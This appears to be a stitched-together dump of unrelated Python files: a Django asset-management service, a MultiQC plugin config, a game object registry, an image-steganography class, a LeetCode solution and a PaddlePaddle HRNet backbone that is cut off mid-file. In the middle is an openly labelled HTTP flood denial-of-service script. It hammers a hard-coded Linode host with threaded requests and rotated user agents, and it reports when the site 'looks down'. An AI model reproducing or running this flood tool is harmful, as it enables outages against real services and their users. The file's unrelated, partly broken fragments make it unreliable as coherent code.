from datetime import date
from django.db import transaction
from rest_framework.exceptions import NotFound
import datetime

from .models import Asset, RepairingStock
from ..orders.models import Customer
from ..products.models import Product, Category
from utils.exceptionhandler import CustomException

class AssetService:
    """Performs asset related operations like add new asset for a customer,
    update asset details"""

    @transaction.atomic()
    def create(self, validated_data, organisation_uid):
        """Creates new Asset from the given data"""

        try:
            product = Product.objects.get(
                organisation_id=organisation_uid, product_uid=validated_data["product"],
            )
            customer = Customer.objects.get(
                organisation_id=organisation_uid,
                customer_uid=validated_data["customer"],
            )

            try:
                asset = Asset.objects.get(
                    product_id=product.id,
                    serial_no=validated_data["serial_no"],
                    is_active=True,
                )
                raise CustomException(400, "This product is already assigned")
            except Asset.DoesNotExist:
                pass

            if product.available_stock <= 0:
                raise CustomException(400, "Product is out of Stock")
            new_asset = Asset.objects.create(
                name=validated_data["name"],
                serial_no=validated_data["serial_no"],
                customer_id=validated_data["customer"],
                organisation_id=organisation_uid,
                product_id=validated_data["product"],
            )
            product.available_stock -= 1
            product.save()
            return new_asset
        except KeyError as exc:
            raise CustomException(400, "Exception in Asset Service")
        except Product.DoesNotExist:
            raise CustomException(400, "Invalid Product")
        except Customer.DoesNotExist:
            raise CustomException(400, "Invalid Customer")

    def update(self, instance, request):
        """Updates the Asset from the given data"""

        try:
            if not instance.is_active:
                raise CustomException(400, "Only active assets can be updated")
            customer = Customer.objects.get(
                customer_uid=request["customer"], organisation_id=instance.organisation
            )
            product = Product.objects.get(
                product_uid=request["product"], organisation_id=instance.organisation
            )
            instance.updated_date = date.today()
            if product.id != instance.product_id:
                if product.available_stock <= 0:
                    raise CustomException(400, "Product is out of stock")
                product.available_stock -= 1
                product.save()
                new_product = Product.objects.get(product_uid=instance.product_id)
                new_product.available_stock += 1
                new_product.save()
            return instance
        except Customer.DoesNotExist:
            raise CustomException(404, "Invalid Customer")
        except Product.DoesNotExist:
            raise CustomException(404, "Invalid Product")
        except KeyError:
            raise CustomException(400, "Product and Customer is mandatory for updating")

    @transaction.atomic()
    def close_asset(self, asset_details, data):
        """Update Asset status to False"""

        try:
            is_active = asset_details.is_active
            response = {}
            if not is_active:
                response = {"message": "It is already not active"}
            elif is_active:
                asset_details.is_active = False
                asset_details.updated_date = date.today()

                try:
                    returned_date = datetime.datetime.strptime(
                        data["return_date"], "%Y-%m-%d"
                    )
                    if returned_date > datetime.datetime.today():
                        raise CustomException(
                            400, "Returned Date cannot be after today"
                        )
                except KeyError:
                    data["return_date"] = datetime.datetime.today()

                asset_details.return_date = data["return_date"]
                asset_details.save()
                response = {"message": "Assigned asset is closed"}
            return response
        except NotFound:
            raise CustomException(
                400, "Internal error in updating active status in asset"
            )

class RepairingStockService:
    """Performs Repairing Stock related operations like add new repairing stock for an asset,
        update repairing stock details"""

    @transaction.atomic()
    def create(self, validated_data, organisation_uid):
        """Creates new Repairing Stock for the given Asset"""

        try:
            asset = Asset.objects.get(
                organisation_id=organisation_uid, asset_uid=validated_data["asset"]
            )

            try:
                repairing_stock = RepairingStock.objects.get(
                    asset_id=validated_data["asset"], is_active=True
                )
                raise CustomException(400, "This product is already in repairing stock")
            except RepairingStock.DoesNotExist:
                pass

            if asset.is_active:
                raise CustomException(
                    400, "Cannot be created, Assigned is still active"
                )

            new_repairing_stock = RepairingStock.objects.create(
                serial_no=asset.serial_no,
                asset_id=validated_data["asset"],
                product_id=asset.product_id,
                organisation_id=organisation_uid,
            )
            return new_repairing_stock
        except KeyError as exc:
            raise CustomException(400, "Exception in Repairing Stock Service")
        except Asset.DoesNotExist:
            raise CustomException(400, "Invalid Asset")

    def update(self, instance, request):
        """Updates Repairing Asset for the given data"""

        try:
            if not instance.is_active:
                raise CustomException(
                    400, "Only active repairing stocks can be updated"
                )
            asset = Asset.objects.get(
                asset_uid=request["asset"],
                product_id=request["product"],
                organisation_id=instance.organisation,
            )
            instance.updated_date = date.today()
            return instance
        except Asset.DoesNotExist:
            raise CustomException(404, "Invalid Asset")

    @transaction.atomic()
    def close_repairing_stock(self, repairing_stock_details, data):
        """Update Reparing status to False and reflects to the product accordingly"""

        try:
            is_active = repairing_stock_details.is_active
            response = {}
            if not is_active:
                response = {"message": "It is already not active"}
            elif is_active:
                repairing_stock_details.is_active = False
                repairing_stock_details.updated_date = date.today()

                try:
                    closed_date = datetime.datetime.strptime(
                        data["closed_date"], "%Y-%m-%d"
                    )
                    if closed_date > datetime.datetime.today():
                        raise CustomException(400, "Closed Date cannot be after today")
                except KeyError:
                    data["closed_date"] = datetime.datetime.today()

                repairing_stock_details.closed_date = data["closed_date"]
                repairing_stock_details.save()
                product = Product.objects.get(
                    product_uid=repairing_stock_details.product_id
                )
                product.available_stock = product.available_stock + 1
                product.save()
                response = {"message": "Repairing Stock asset is closed"}
            return response
        except NotFound:
            raise CustomException(
                400, "Internal error in updating active status in repairing stock"
            )


#!/usr/bin/env python

import logging

from multiqc.utils import config
from pkg_resources import get_distribution

# Initialise the main MultiQC logger
log = logging.getLogger("multiqc")

# Save this plugin's version number (defined in setup.py) to the MultiQC config
config.multiqc_sav_version = get_distribution("multiqc_sav").version
log.info("Running MultiQC SAV Plugin v{}".format(config.multiqc_sav_version))

def update_config() -> None:
    """
    Update MultiQC config object
    * Update module order
    * Disable unnecessary modules to avoid duplicate data
    * Update search patterns
    """

    log.debug("SAV - Updating config")
    # Add module to module order
    config.module_order.append({"SAV": {"module_tag": ["DNA", "RNA", "BCL", "Demultiplex"]}})

    # Move module to the top
    config.top_modules.append("SAV")

    # Disable InterOp module to avoid duplicate data
    disabled_modules = ["interop"]
    for module in disabled_modules:
        del config.avail_modules[module]

    # Update search patterns
    if "SAV/xml" not in config.sp:
        config.update_dict(config.sp, {"SAV/xml": {"fn_re": ".*([Rr]un[Ii]nfo|[Rr]un[Pp]arameters)\.xml", "shared": True}})
    config.update_dict(config.sp, {"bclconvert/runinfo": {"fn": "RunInfo.xml", "shared": True}})


from lib.GameBase import GameBase
from lib.mylogging import log

class ObjectMeta(object):
    def __init__(self, ob : GameBase, level : int, friend : bool, enemy : bool, name : str) -> None:
        self.ob = ob
        self.level = level
        self.enemy = enemy
        self.friend = friend
        self.name = name

class GameObjectKeeper(object):
	OBJECT_LIST : list = []

	@classmethod
	def special_setup(cls, ob : GameBase, level : int, friend=False, enemy=False, name=None) -> None:
		""" used only when level is special, like for the game background """
		log.debug("Setup for: {0}".format(ob))
		cls.OBJECT_LIST.append(ObjectMeta(ob, level, friend, enemy, name))
		cls.sortobjects()

	@classmethod
	def setup(cls, ob : GameBase, level : int, friend : bool = False, enemy : bool = False, name : str = None) -> None:
		if (level < 1):
			raise ValueError("Object Level is below 1, must be 1 or greater!")
		cls.special_setup(ob, level, friend, enemy, name)

	@classmethod
	def setupfriendly(cls, ob : GameBase , level : int) -> None:
		cls.setup(ob, level, friend=True)

	@classmethod
	def setupenemy(cls, ob : GameBase, level : int) -> None:
		cls.setup(ob, level, enemy=True)

	@classmethod
	def sortobjects(cls) -> None:
		log.info("Sorting Game Stage ...")
		cls.OBJECT_LIST.sort( key=lambda ob: ob.level)

	@classmethod
	def runables(cls) -> list:
		return [ item.ob for item in cls.OBJECT_LIST ]

	@classmethod
	def friendlies(cls)-> list:
		return [ item.ob for item in cls.OBJECT_LIST if item.friend ]

	@classmethod
	def enemies(cls)-> list:
		return [ item.ob for item in cls.OBJECT_LIST if item.enemy ]

	@classmethod
	def get_by_name(cls, ob_name):
		for item in cls.OBJECT_LIST:
			if item.name == ob_name:
				return item.ob
		return None

	@classmethod
	def remove(cls, ob):
		for item in cls.OBJECT_LIST:
			if (item.ob == ob):
				if (item.level < 1):
					log.debug("Cant remove special items")
					return
				cls.OBJECT_LIST.remove(item)
				log.debug("Removing {}".format(item))
				return
		raise ValueError("Item {0} not found in list.".format(ob))

	@classmethod
	def setupmisc(cls, ob: GameBase, level: int) -> None:
		cls.setup(ob,level)


##########################################
############  HTTP flood DOS #############
############   Version: 1.1  #############
#----------------------------------------#
##########  Crafted by: Ragu  ############
########## Telegram: @Ragu_Here ##########
##########################################

#Note: Works on Python3
#Change r = requests.get('---')

import requests
import threading
import time
import random

from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem

software_names = [SoftwareName.CHROME.value, SoftwareName.ANDROID.valueSoftwareName.EDGE.value, SoftwareName.CHROMIUM.value, SoftwareName.FIREFOX.value, SoftwareName.OPERA.value,  ]
operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.MAC.value, OperatingSystem.LINUX.value, OperatingSystem.MAC.value]

user_agent_rotator = UserAgent(software_names=software_names, operating_systems=operating_systems, limit=1000)

# Get list of user agents.
# user_agents = user_agent_rotator.get_user_agents()

#use random user agents
# user_agent_random = user_agent_rotator.get_random_user_agent()

l = []
rl = []

def current_mil_time():
    return round(time.time() * 1000)

def current_sec_time():
    return round(time.time())

def count_resp_per_sec(time_took):
    t = current_sec_time()
    l.append({
        "time_took": time_took,
        "time_received": t,
    })

    for e in l:
        if current_sec_time() - e["time_received"] >= 1:
            l.remove(e)

def count_req_per_sec():
    t = current_sec_time()
    rl.append({
        "time_received": t,
    })

    for e in rl:
        if current_sec_time() - e["time_received"] >= 1:
            rl.remove(e)

message = "DoSing..."

def make_request(name):
    while True:
        count_req_per_sec()
        try:
            s = current_mil_time()

            headers={
                # 'User-Agent': 'King Browser- {}'.format(random.randint(000,999))
                'User-Agent': user_agent_rotator.get_random_user_agent()
            }

            r = requests.get('http://45-79-120-220.ip.linodeusercontent.com', headers=headers)
            t = current_mil_time() - s
            # print("Response code from thread #{}: {} took {} ms".format(name, str(r.status_code), t))
            count_resp_per_sec(t)
        except:
            message = "DoS Successful. Site looks down for now."

threads = 1

i = 0
while i <= threads:
    x = threading.Thread(target=make_request, args=(i,))
    print("Starting thread #{}...".format(i))
    x.start()
    i += 1

print("Calculating... wait for a while for it to adjust...")
while True:
    time.sleep(0.1)
    response_time = 0
    for e in l:
        response_time = response_time + e['time_took']
    if (len(l)) > 0:
        response_time = response_time / len(l)
    if response_time > 60000:
        message = "DoS Successful. Site looks down for now."
    else:
        message = "DoSing..."
    print("\rAverage response time: {}ms; Requests/sec: {}; Responses/sec: {}; {}".format(round(response_time, 2),
                                                                                len(rl), len(l), message),
          end=""),


import os
from PIL import Image
import numpy as np
import sys

class Carrier:

    def __init__(self, image_path):
        if os.path.splitext(image_path)[1].lower() != ".png":
            # validating image format (png only)
            print("Image fromat error\nexitting...")
            sys.exit(1)
        self.name = os.path.basename(image_path)
        self.path = os.path.dirname(image_path)
        try:
            image = Image.open(image_path)
        except FileNotFoundError:
            print('Error loading image\nexitting...')
            sys.exit(1)
        self.mat = np.array(image)[..., :3]
        image.close()
        self.height = self.mat.shape[0]
        self.width = self.mat.shape[1]

    def create_image(self):
        carrier_image = Image.new('RGB', (self.width, self.height))
        for row in range(self.height):
            for col in range(self.width):
                carrier_image.putpixel((col, row), tuple(self.mat[row][col]))
        carrier_image.save('./OUT_' + self.name)
        carrier_image.show()


#
# @lc app=leetcode id=77 lang=python3
#
# [77] Combinations
#

# @lc code=start
class Solution:
    def combine(self, n: int, k: int) -> List[List[int]]:
        lst = []
        def combine(comb, aval):
            if len(comb) + len(aval) < k:
                return
            if len(comb) == k:
                lst.append(comb)
                return

            for i in range(len(aval)):
                combine(comb+[aval[i]], aval[i+1:])

        combine([], [i for i in range(1, (n+1))])
        return lst
# @lc code=end


import math

import paddle
import paddle.fluid as fluid
from paddle.fluid.param_attr import ParamAttr
from paddle.fluid.layer_helper import LayerHelper
from paddle.fluid.dygraph.nn import Conv2D, Pool2D, Linear
from paddle.fluid.initializer import Normal
from paddle.nn import SyncBatchNorm as BatchNorm

from dygraph.cvlibs import manager

__all__ = [
    "HRNet_W18_Small_V1", "HRNet_W18_Small_V2", "HRNet_W18", "HRNet_W30",
    "HRNet_W32", "HRNet_W40", "HRNet_W44", "HRNet_W48", "HRNet_W60", "HRNet_W64"
]

class HRNet(fluid.dygraph.Layer):
    """
    HRNet：Deep High-Resolution Representation Learning for Visual Recognition
    https://arxiv.org/pdf/1908.07919.pdf.

    Args:
        stage1_num_modules (int): number of modules for stage1. Default 1.
        stage1_num_blocks (list): number of blocks per module for stage1. Default [4].
        stage1_num_channels (list): number of channels per branch for stage1. Default [64].
        stage2_num_modules (int): number of modules for stage2. Default 1.
        stage2_num_blocks (list): number of blocks per module for stage2. Default [4, 4]
        stage2_num_channels (list): number of channels per branch for stage2. Default [18, 36].
        stage3_num_modules (int): number of modules for stage3. Default 4.
        stage3_num_blocks (list): number of blocks per module for stage3. Default [4, 4, 4]
        stage3_num_channels (list): number of channels per branch for stage3. Default [18, 36, 72].
        stage4_num_modules (int): number of modules for stage4. Default 3.
        stage4_num_blocks (list): number of blocks per module for stage4. Default [4, 4, 4, 4]
        stage4_num_channels (list): number of channels per branch for stage4. Default [18, 36, 72. 144].
        has_se (bool): whether to use Squeeze-and-Excitation module. Default False.
    """

    def __init__(self,
                 stage1_num_modules=1,
                 stage1_num_blocks=[4],
                 stage1_num_channels=[64],
                 stage2_num_modules=1,
                 stage2_num_blocks=[4, 4],
                 stage2_num_channels=[18, 36],
                 stage3_num_modules=4,
                 stage3_num_blocks=[4, 4, 4],
                 stage3_num_channels=[18, 36, 72],
                 stage4_num_modules=3,
                 stage4_num_blocks=[4, 4, 4, 4],
                 stage4_num_channels=[18, 36, 72, 144],
                 has_se=False):
        super(HRNet, self).__init__()

        self.stage1_num_modules = stage1_num_modules
        self.stage1_num_blocks = stage1_num_blocks
        self.stage1_num_channels = stage1_num_channels
        self.stage2_num_modules = stage2_num_modules
        self.stage2_num_blocks = stage2_num_blocks
        self.stage2_num_channels = stage2_num_channels
        self.stage3_num_modules = stage3_num_modules
        self.stage3_num_blocks = stage3_num_blocks
        self.stage3_num_channels = stage3_num_channels
        self.stage4_num_modules = stage4_num_modules
        self.stage4_num_blocks = stage4_num_blocks
        self.stage4_num_channels = stage4_num_channels
        self.has_se = has_se

        self.conv_layer1_1 = ConvBNLayer(
            num_channels=3,
            num_filters=64,
            filter_size=3,
            stride=2,
            act='relu',
            name="layer1_1")

        self.conv_layer1_2 = ConvBNLayer(
            num_channels=64,
            num_filters=64,
            filter_size=3,
            stride=2,
            act='relu',
            name="layer1_2")

        self.la1 = Layer1(
            num_channels=64,
            num_blocks=self.stage1_num_blocks[0],
            num_filters=self.stage1_num_channels[0],
            has_se=has_se,
            name="layer2")

        self.tr1 = TransitionLayer(
            in_channels=[self.stage1_num_channels[0] * 4],
            out_channels=self.stage2_num_channels,
            name="tr1")

        self.st2 = Stage(
            num_channels=self.stage2_num_channels,
            num_modules=self.stage2_num_modules,
            num_blocks=self.stage2_num_blocks,
            num_filters=self.stage2_num_channels,
            has_se=self.has_se,
            name="st2")

        self.tr2 = TransitionLayer(
            in_channels=self.stage2_num_channels,
            out_channels=self.stage3_num_channels,
            name="tr2")
        self.st3 = Stage(
            num_channels=self.stage3_num_channels,
            num_modules=self.stage3_num_modules,
            num_blocks=self.stage3_num_blocks,
            num_filters=self.stage3_num_channels,
            has_se=self.has_se,
            name="st3")

        self.tr3 = TransitionLayer(
            in_channels=self.stage3_num_channels,
            out_channels=self.stage4_num_channels,
            name="tr3")
        self.st4 = Stage(
            num_channels=self.stage4_num_channels,
            num_modules=self.stage4_num_modules,
            num_blocks=self.stage4_num_blocks,
            num_filters=self.stage4_num_channels,
            has_se=self.has_se,
            name="st4")

    def forward(self, x, label=None, mode='train'):
        input_shape = x.shape[2:]
        conv1 = self.conv_layer1_1(x)
        conv2 = self.conv_layer1_2(conv1)

        la1 = self.la1(conv2)

        tr1 = self.tr1([la1])
        st2 = self.st2(tr1)

        tr2 = self.tr2(st2)
        st3 = self.st3(tr2)

        tr3 = self.tr3(st3)
        st4 = self.st4(tr3)

        x0_h, x0_w = st4[0].shape[2:]
        x1 = fluid.layers.resize_bilinear(st4[1], out_shape=(x0_h, x0_w))
        x2 = fluid.layers.resize_bilinear(st4[2], out_shape=(x0_h, x0_w))
        x3 = fluid.layers.resize_bilinear(st4[3], out_shape=(x0_h, x0_w))
        x = fluid.layers.concat([st4[0], x1, x2, x3], axis=1)

        return x

class ConvBNLayer(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_filters,
                 filter_size,
                 stride=1,
                 groups=1,
                 act="relu",
                 name=None):
        super(ConvBNLayer, self).__init__()

        self._conv = Conv2D(
            num_channels=num_channels,
            num_filters=num_filters,
            filter_size=filter_size,
            stride=stride,
            padding=(filter_size - 1) // 2,
            groups=groups,
            param_attr=ParamAttr(
                initializer=Normal(scale=0.001), name=name + "_weights"),
            bias_attr=False)
        bn_name = name + '_bn'
        self._batch_norm = BatchNorm(
            num_filters,
            weight_attr=ParamAttr(
                name=bn_name + '_scale',
                initializer=fluid.initializer.Constant(1.0)),
            bias_attr=ParamAttr(
                bn_name + '_offset',
                initializer=fluid.initializer.Constant(0.0)))
        self.act = act

    def forward(self, input):
        y = self._conv(input)
        y = self._batch_norm(y)
        if self.act == 'relu':
            y = fluid.layers.relu(y)
        return y

class Layer1(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_filters,
                 num_blocks,
                 has_se=False,
                 name=None):
        super(Layer1, self).__init__()

        self.bottleneck_block_list = []

        for i in range(num_blocks):
            bottleneck_block = self.add_sublayer(
                "bb_{}_{}".format(name, i + 1),
                BottleneckBlock(
                    num_channels=num_channels if i == 0 else num_filters * 4,
                    num_filters=num_filters,
                    has_se=has_se,
                    stride=1,
                    downsample=True if i == 0 else False,
                    name=name + '_' + str(i + 1)))
            self.bottleneck_block_list.append(bottleneck_block)

    def forward(self, input):
        conv = input
        for block_func in self.bottleneck_block_list:
            conv = block_func(conv)
        return conv

class TransitionLayer(fluid.dygraph.Layer):
    def __init__(self, in_channels, out_channels, name=None):
        super(TransitionLayer, self).__init__()

        num_in = len(in_channels)
        num_out = len(out_channels)
        self.conv_bn_func_list = []
        for i in range(num_out):
            residual = None
            if i < num_in:
                if in_channels[i] != out_channels[i]:
                    residual = self.add_sublayer(
                        "transition_{}_layer_{}".format(name, i + 1),
                        ConvBNLayer(
                            num_channels=in_channels[i],
                            num_filters=out_channels[i],
                            filter_size=3,
                            name=name + '_layer_' + str(i + 1)))
            else:
                residual = self.add_sublayer(
                    "transition_{}_layer_{}".format(name, i + 1),
                    ConvBNLayer(
                        num_channels=in_channels[-1],
                        num_filters=out_channels[i],
                        filter_size=3,
                        stride=2,
                        name=name + '_layer_' + str(i + 1)))
            self.conv_bn_func_list.append(residual)

    def forward(self, input):
        outs = []
        for idx, conv_bn_func in enumerate(self.conv_bn_func_list):
            if conv_bn_func is None:
                outs.append(input[idx])
            else:
                if idx < len(input):
                    outs.append(conv_bn_func(input[idx]))
                else:
                    outs.append(conv_bn_func(input[-1]))
        return outs

class Branches(fluid.dygraph.Layer):
    def __init__(self,
                 num_blocks,
                 in_channels,
                 out_channels,
                 has_se=False,
                 name=None):
        super(Branches, self).__init__()

        self.basic_block_list = []

        for i in range(len(out_channels)):
            self.basic_block_list.append([])
            for j in range(num_blocks[i]):
                in_ch = in_channels[i] if j == 0 else out_channels[i]
                basic_block_func = self.add_sublayer(
                    "bb_{}_branch_layer_{}_{}".format(name, i + 1, j + 1),
                    BasicBlock(
                        num_channels=in_ch,
                        num_filters=out_channels[i],
                        has_se=has_se,
                        name=name + '_branch_layer_' + str(i + 1) + '_' +
                        str(j + 1)))
                self.basic_block_list[i].append(basic_block_func)

    def forward(self, inputs):
        outs = []
        for idx, input in enumerate(inputs):
            conv = input
            for basic_block_func in self.basic_block_list[idx]:
                conv = basic_block_func(conv)
            outs.append(conv)
        return outs

class BottleneckBlock(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_filters,
                 has_se,
                 stride=1,
                 downsample=False,
                 name=None):
        super(BottleneckBlock, self).__init__()

        self.has_se = has_se
        self.downsample = downsample

        self.conv1 = ConvBNLayer(
            num_channels=num_channels,
            num_filters=num_filters,
            filter_size=1,
            act="relu",
            name=name + "_conv1",
        )
        self.conv2 = ConvBNLayer(
            num_channels=num_filters,
            num_filters=num_filters,
            filter_size=3,
            stride=stride,
            act="relu",
            name=name + "_conv2")
        self.conv3 = ConvBNLayer(
            num_channels=num_filters,
            num_filters=num_filters * 4,
            filter_size=1,
            act=None,
            name=name + "_conv3")

        if self.downsample:
            self.conv_down = ConvBNLayer(
                num_channels=num_channels,
                num_filters=num_filters * 4,
                filter_size=1,
                act=None,
                name=name + "_downsample")

        if self.has_se:
            self.se = SELayer(
                num_channels=num_filters * 4,
                num_filters=num_filters * 4,
                reduction_ratio=16,
                name=name + '_fc')

    def forward(self, input):
        residual = input
        conv1 = self.conv1(input)
        conv2 = self.conv2(conv1)
        conv3 = self.conv3(conv2)

        if self.downsample:
            residual = self.conv_down(input)

        if self.has_se:
            conv3 = self.se(conv3)

        y = fluid.layers.elementwise_add(x=conv3, y=residual, act="relu")
        return y

class BasicBlock(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_filters,
                 stride=1,
                 has_se=False,
                 downsample=False,
                 name=None):
        super(BasicBlock, self).__init__()

        self.has_se = has_se
        self.downsample = downsample

        self.conv1 = ConvBNLayer(
            num_channels=num_channels,
            num_filters=num_filters,
            filter_size=3,
            stride=stride,
            act="relu",
            name=name + "_conv1")
        self.conv2 = ConvBNLayer(
            num_channels=num_filters,
            num_filters=num_filters,
            filter_size=3,
            stride=1,
            act=None,
            name=name + "_conv2")

        if self.downsample:
            self.conv_down = ConvBNLayer(
                num_channels=num_channels,
                num_filters=num_filters * 4,
                filter_size=1,
                act="relu",
                name=name + "_downsample")

        if self.has_se:
            self.se = SELayer(
                num_channels=num_filters,
                num_filters=num_filters,
                reduction_ratio=16,
                name=name + '_fc')

    def forward(self, input):
        residual = input
        conv1 = self.conv1(input)
        conv2 = self.conv2(conv1)

        if self.downsample:
            residual = self.conv_down(input)

        if self.has_se:
            conv2 = self.se(conv2)

        y = fluid.layers.elementwise_add(x=conv2, y=residual, act="relu")
        return y

class SELayer(fluid.dygraph.Layer):
    def __init__(self, num_channels, num_filters, reduction_ratio, name=None):
        super(SELayer, self).__init__()

        self.pool2d_gap = Pool2D(pool_type='avg', global_pooling=True)

        self._num_channels = num_channels

        med_ch = int(num_channels / reduction_ratio)
        stdv = 1.0 / math.sqrt(num_channels * 1.0)
        self.squeeze = Linear(
            num_channels,
            med_ch,
            act="relu",
            param_attr=ParamAttr(
                initializer=fluid.initializer.Uniform(-stdv, stdv),
                name=name + "_sqz_weights"),
            bias_attr=ParamAttr(name=name + '_sqz_offset'))

        stdv = 1.0 / math.sqrt(med_ch * 1.0)
        self.excitation = Linear(
            med_ch,
            num_filters,
            act="sigmoid",
            param_attr=ParamAttr(
                initializer=fluid.initializer.Uniform(-stdv, stdv),
                name=name + "_exc_weights"),
            bias_attr=ParamAttr(name=name + '_exc_offset'))

    def forward(self, input):
        pool = self.pool2d_gap(input)
        pool = fluid.layers.reshape(pool, shape=[-1, self._num_channels])
        squeeze = self.squeeze(pool)
        excitation = self.excitation(squeeze)
        excitation = fluid.layers.reshape(
            excitation, shape=[-1, self._num_channels, 1, 1])
        out = input * excitation
        return out

class Stage(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_modules,
                 num_blocks,
                 num_filters,
                 has_se=False,
                 multi_scale_output=True,
                 name=None):
        super(Stage, self).__init__()

        self._num_modules = num_modules

        self.stage_func_list = []
        for i in range(num_modules):
            if i == num_modules - 1 and not multi_scale_output:
                stage_func = self.add_sublayer(
                    "stage_{}_{}".format(name, i + 1),
                    HighResolutionModule(
                        num_channels=num_channels,
                        num_blocks=num_blocks,
                        num_filters=num_filters,
                        has_se=has_se,
                        multi_scale_output=False,
                        name=name + '_' + str(i + 1)))
            else:
                stage_func = self.add_sublayer(
                    "stage_{}_{}".format(name, i + 1),
                    HighResolutionModule(
                        num_channels=num_channels,
                        num_blocks=num_blocks,
                        num_filters=num_filters,
                        has_se=has_se,
                        name=name + '_' + str(i + 1)))

            self.stage_func_list.append(stage_func)

    def forward(self, input):
        out = input
        for idx in range(self._num_modules):
            out = self.stage_func_list[idx](out)
        return out

class HighResolutionModule(fluid.dygraph.Layer):
    def __init__(self,
                 num_channels,
                 num_blocks,
                 num_filters,
                 has_se=False,
                 multi_scale_output=True,
                 name=None):
        super(HighResolutionModule, self).__init__()

        self.branches_func = Branches(
            num_blocks=num_blocks,
            in_channels=num_channels,
            out_channels=num_filters,
            has_se=has_se,
            name=name)

        self.fuse_func = FuseLayers(
            in_channels=num_filters,
            out_channels=num_filters,
            multi_scale_output=multi_scale_output,
            name=name)

    def forward(self, input):
        out = self.branches_func(input)
        out = self.fuse_func(out)
        return out

class FuseLayers(fluid.dygraph.Layer):
    def __init__(self,
                 in_channels,
                 out_channels,
                 multi_scale_output=True,
                 name=None):
        super(FuseLayers, self).__init__()

        self._actual_ch = len(in_channels) if multi_scale_output else 1
        self._in_channels = in_channels

        self.residual_func_list = []
        for i in range(self._actual_ch):
            for j in range(len(in_channels)):
                residual_func = None
                if j > i:
                    residual_func = self.add_sublayer(
                        "residual_{}_layer_{}_{}".format(name, i + 1, j + 1),
                        ConvBNLayer(
                            num_channels=in_channels[j],
                            num_filters=out_channels[i],
                            filter_size=1,
                            stride=1,
                            act=None,
                            name=name + '_layer_' + str(i + 1) + '_' +
                            str(j + 1)))
                    self.residual_func_list.append(residual_func)
                elif j < i:
                    pre_num_filters = in_channels[j]
                    for k in range(i - j):
                        if k == i - j - 1:
                            residual_func = self.add_sublayer(
                                "residual_{}_layer_{}_{}_{}".format(
                                    name, i + 1, j + 1, k + 1),
                                ConvBNLayer(
                                    num_channels=pre_num_filters,
                                    num_filters=out_channels[i],
                                    filter_size=3,
                                    stride=2,
                                    act=None,
                                    name=name + '_layer_' + str(i + 1) + '_' +
                                    str(j + 1) + '_' + str(k + 1)))
                            pre_num_filters = out_channels[i]
                        else:
                            residual_func = self.add_sublayer(
                                "residual_{}_layer_{}_{}_{}".format(
                                    name, i + 1, j + 1, k + 1),
                                ConvBNLayer(
                                    num_channels=pre_num_filters,
                                    num_filters=out_channels[j],
                                    filter_size=3,
                                    stride=2,
                                    act="relu",
                                    name=name + '_layer_' + str(i + 1) + '_' +
                                    str(j + 1) + '_' + str(k + 1)))
                            pre_num_filters = out_channels[j]
                        self.residual_func_list.append(residual_func)

    def forward(self, input):
        outs = []
        residual_func_idx = 0
        for i in range(self._actual_ch):
            residual = input[i]
            residual_shape = residual.shape[-2:]
            for j in range(len(self._in_channels)):
                if j > i:
                    y = self.residual_func_list[residual_func_idx](input[j])
                    residual_func_idx += 1

                    y = fluid.layers.resize_bilinear(
                        input=y, out_shape=residual_shape)
                    residual = fluid.layers.elementwise_add(
                        x=residual, y=y, act=None)
                elif j < i:
                    y = input[j]
                    for k in range(i - j):
                        y = self.residual_func_list[residual_func_idx](y)
                        residual_func_idx += 1

                    residual = fluid.layers.elementwise_add(
                        x=residual, y=y, act=None)

            layer_helper = LayerHelper(self.full_name(), act='relu')
            residual = layer_helper.append_activation(residual)
            outs.append(residual)

        return outs

class LastClsOut(fluid.dygraph.Layer):
    def __init__(self,
                 num_channel_list,
                 has_se,
                 num_filters_list=[32, 64, 128, 256],
                 name=None):
        super(LastClsOut, self).__init__()

        self.func_list = []
        for idx in range(len(num_channel_list)):
            func = self.add_sublayer(
                "conv_{}_conv_{}".format(name, idx + 1),
                BottleneckBlock(
                    num_channels=num_channel_list[idx],
                    num_filters=num_filters_list[idx],
                    has_se=has_se,
                    downsample=True,
                    name=name + 'conv_' + str(idx + 1)))
            self.func_list.append(func)

    def forward(self, inputs):
        outs = []
        for idx, input in enumerate(inputs):
            out = self.func_list[idx](input)
            outs.append(out)
        return outs

@manager.BACKBONES.add_component
def HRNet_W18_Small_V1(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[1],
        stage1_num_channels=[32],
        stage2_num_modules=1,
        stage2_num_blocks=[2, 2],
        stage2_num_channels=[16, 32],
        stage3_num_modules=1,
        stage3_num_blocks=[2, 2, 2],
        stage3_num_channels=[16, 32, 64],
        stage4_num_modules=1,
        stage4_num_blocks=[2, 2, 2, 2],
        stage4_num_channels=[16, 32, 64, 128],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W18_Small_V2(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[2],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[2, 2],
        stage2_num_channels=[18, 36],
        stage3_num_modules=1,
        stage3_num_blocks=[2, 2, 2],
        stage3_num_channels=[18, 36, 72],
        stage4_num_modules=1,
        stage4_num_blocks=[2, 2, 2, 2],
        stage4_num_channels=[18, 36, 72, 144],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W18(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[18, 36],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[18, 36, 72],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[18, 36, 72, 144],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W30(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[30, 60],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[30, 60, 120],
        stage4_num_modules=3,
